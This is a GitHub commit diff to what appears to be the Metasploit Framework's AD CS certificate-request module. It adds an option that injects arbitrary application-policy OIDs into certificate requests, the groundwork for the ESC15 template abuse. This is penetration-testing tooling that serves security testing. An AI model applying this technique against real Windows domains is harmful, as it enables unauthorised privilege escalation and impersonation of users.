Skip to content

Commit

Permalink
Add the inital code for ESC15
Browse files Browse the repository at this point in the history
  • Loading branch information
zeroSteiner committed Oct 8, 2024
1 parent 0e485ba commit 8f95c0f
Showing 1 changed file with 37 additions and 3 deletions.
40 changes: 37 additions & 3 deletions lib/msf/core/exploit/remote/ms_icpr.rb
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,8 @@ module Exploit::Remote::MsIcpr
OID_NTDS_OBJECTSID = '1.3.6.1.4.1.311.25.2.1'.freeze
# [[MS-WCCE]: 2.2.2.7.10 szENROLLMENT_NAME_VALUE_PAIR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/92f07a54-2889-45e3-afd0-94b60daa80ec)
OID_ENROLLMENT_NAME_VALUE_PAIR = '1.3.6.1.4.1.311.13.2.1'.freeze
# [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)
OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10'.freeze

class MsIcprError < StandardError; end
class MsIcprConnectionError < MsIcprError; end
Expand All @@ -39,6 +41,7 @@ def initialize(info = {})
OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]),
OptString.new('ALT_SID', [ false, 'Alternative object SID' ]),
OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]),
OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/),
OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]),
OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]),
Opt::RPORT(445)
Expand Down Expand Up @@ -131,6 +134,7 @@ def do_request_cert(icpr, opts)
alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'])
alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'])
algorithm = opts[:algorithm] || datastore['DigestAlgorithm']
application_policies = opts[:add_cert_app_policy] || (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/))
status_msg << " - alternate DNS: #{alt_dns}" if alt_dns
status_msg << " - alternate UPN: #{alt_upn}" if alt_upn
status_msg << " - digest algorithm: #{algorithm}" if algorithm
Expand All @@ -140,7 +144,8 @@ def do_request_cert(icpr, opts)
dns: alt_dns,
msext_sid: alt_sid,
msext_upn: alt_upn,
algorithm: algorithm
algorithm: algorithm,
application_policies: application_policies
)

on_behalf_of = opts[:on_behalf_of] || (datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'])
Expand Down Expand Up @@ -205,6 +210,13 @@ def do_request_cert(icpr, opts)
print_status("Certificate UPN: #{upn.join(', ')}")
end

unless (policy_oids = get_cert_policy_oids(response[:certificate])).empty?
print_status("Certificate Policies:")
policy_oids.each do |oid|
print_status(" * #{oid.value}" + (oid.label.present? ? " (#{oid.label})" : ''))
end
end

pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate])
# see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate"
Expand Down Expand Up @@ -239,8 +251,10 @@ def do_request_cert(icpr, opts)
# @param [String] dns An alternative DNS name to use.
# @param [String] msext_sid An explicit SID to specify for strong identity mapping.
# @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature).
# @param [String] algorithm The algorithm to use when signing the CSR.
# @param [Array<String>] application_policies OIDs to add as application policies.
# @return [OpenSSL::X509::Request] The request object.
def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256')
def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: [])
request = OpenSSL::X509::Request.new
request.version = 1
request.subject = OpenSSL::X509::Name.new([
Expand All @@ -265,6 +279,14 @@ def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algor
extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false)
end

unless application_policies.empty?
# todo: need to work this out so application_policies is processed as a proper array
application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new(
certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) }
)
extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false)
end

unless extensions.empty?
request.add_attribute(OpenSSL::X509::Attribute.new(
'extReq',
Expand Down Expand Up @@ -349,6 +371,19 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
)
end

# Get the certificate policy OIDs from the certificate.
#
# @param [OpenSSL::X509::Certificate] cert
# @return [Array<Rex::Proto::CryptoAsn1::ObjectId>] The policy OIDs if any were found.
def get_cert_policy_oids(cert)
ext = cert.extensions.find { |e| e.oid == 'ms-app-policies' }
return [] unless ext

cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.parse(ext.value_der)
cert_policies.value.map { |policy_info| Rex::Proto::CryptoAsn1::OIDs.value(policy_info[:policyIdentifier].value) }
end


# Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.
#
# @param [OpenSSL::X509::Certificate] cert
Expand Down Expand Up @@ -402,7 +437,6 @@ def get_cert_san_dns(cert)
end
end


# Get the E-mail addresses from the certificate.
#
# @param [OpenSSL::X509::Certificate] cert
Expand Down

0 comments on commit 8f95c0f

Please sign in to comment.